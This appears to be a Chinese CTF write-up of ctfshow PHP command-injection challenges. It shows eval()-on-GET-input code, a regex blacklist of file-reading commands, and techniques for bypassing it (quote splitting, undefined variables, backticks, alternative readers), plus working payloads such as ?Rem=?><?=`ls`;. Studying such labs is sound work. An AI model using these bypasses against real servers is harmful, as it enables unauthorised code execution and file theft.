3.basic.rce.2

1.题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag in flag
error_reporting(0);
show_source(__FILE__);
if (isset($_GET['Rem'])){
$Ram=$_GET['Rem'];
if(preg_match("/(more|less|flag|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $Ram)){
die("<strong><center>总之就是非常可爱</center></strong>");
}
$a = eval($Ram);
}else{
echo "<script>alert('爬爬爬我最会爬了')</script>";
}

2.过程&知识点

preg_match函数会对字符串进行正则匹配。

https://www.php.net/manual/zh/function.preg-match.php(有点多,慢慢学吧)

正则匹配:

https://www.runoob.com/regexp/regexp-syntax.html

同时我查到了shell中使用的glob通配符

https://blog.csdn.net/qq_28189423/article/details/83720955

补充https://blog.51cto.com/14812296/2507411?source=dra

对于cat被过滤:

以下都可以作为替代:

  1. more:一页一页的显示档案内容

  2. less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页

  3. head:查看头几行

  4. tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

  5. tail:查看尾几行

  6. nl:显示的时候,顺便输出行号

  7. od:以二进制的方式读取档案内容(不是很懂,读出来很奇怪)

  8. sort:可以查看

  9. uniq:可以查看

  10. file -f:报错出具体内容

  11. rev:逆向输出

绕过:

  1. ca$1t:未定义变量默认空值

  2. ca‘’t :‘’空值

  3. ‘c”a”t ????’或”c’a’t fl[a]g”

  4. ca``t

  5. 似乎还有base64编码和拼接的高阶操作……:http://blog.leanote.com/post/bowu/de8babf67fd8

好像还有别的执行方式

?Rem=?><?=`ls`;

其实直接?Rem=echo%20`ls`;就行……

先结束上面的语句,<?=是echo的快捷用法,输出了`ls`,反引号括出命令执行的语句

<?=可以被禁用,是不是有点……鸡肋

大佬博客:

无字母数字webshell:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.gem-love.com/websecurity/1407.html#PHP%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C

ctfshow……

 WEB
  
 RCE

1.basic_rce

1.题目:
1
2
3
4
5
6
<?php
//拿到flag就不要乱玩了哦~
error_reporting(0);
show_source(__FILE__);
eval($_GET['a']);
?>
2.过程

eval()将语句以PHP形式执行,其中语句需要符合PHP规范。可以利用eval()执行命令执行代码。

提交a=system(“”);执行系统命令,ls列出文件,cat、tac、more、less、tail、head命令读取文件。实践操作中发现其中一些读不出来,但查看网页源码时可以看见,如:

image-20201126170216250

但是为什么呢……

tac、rev是可用的;

image-20201126170625496

image-20201126170701827

看到show_source(FILE),试了一下,?a=show_source(“f111a9.php”);也可以出答案。

image-20201126170944450

3.知识点
  • cat主要有三大功能:1.一次显示整个文件:cat filename 2.从键盘创建一个文件:cat > filename 只能创建新文件,不能编辑已有文件.3.将几个文件合并为一个文件:cat file1 file2 > file;
  • tac反序输出文件的内容,文件的最后一行显示在第一行;
  • more的功能是将文件从第一行开始,根据输出窗口的大小,适当的输出文件内容;
  • less 可以随意浏览文件,解决more只能向后翻页的问题;
  • head读取文件的前几行;
  • tail读取文件的后几行;
  • nl从第一行开始读取文件,并且显示行号;
  • show_source() 函数对文件进行语法高亮显示,highlight_file()同样可行。

详细:https://www.cnblogs.com/machangwei-8/p/9570550.html

 WEB
  
 RCE


:D 一言句子获取中...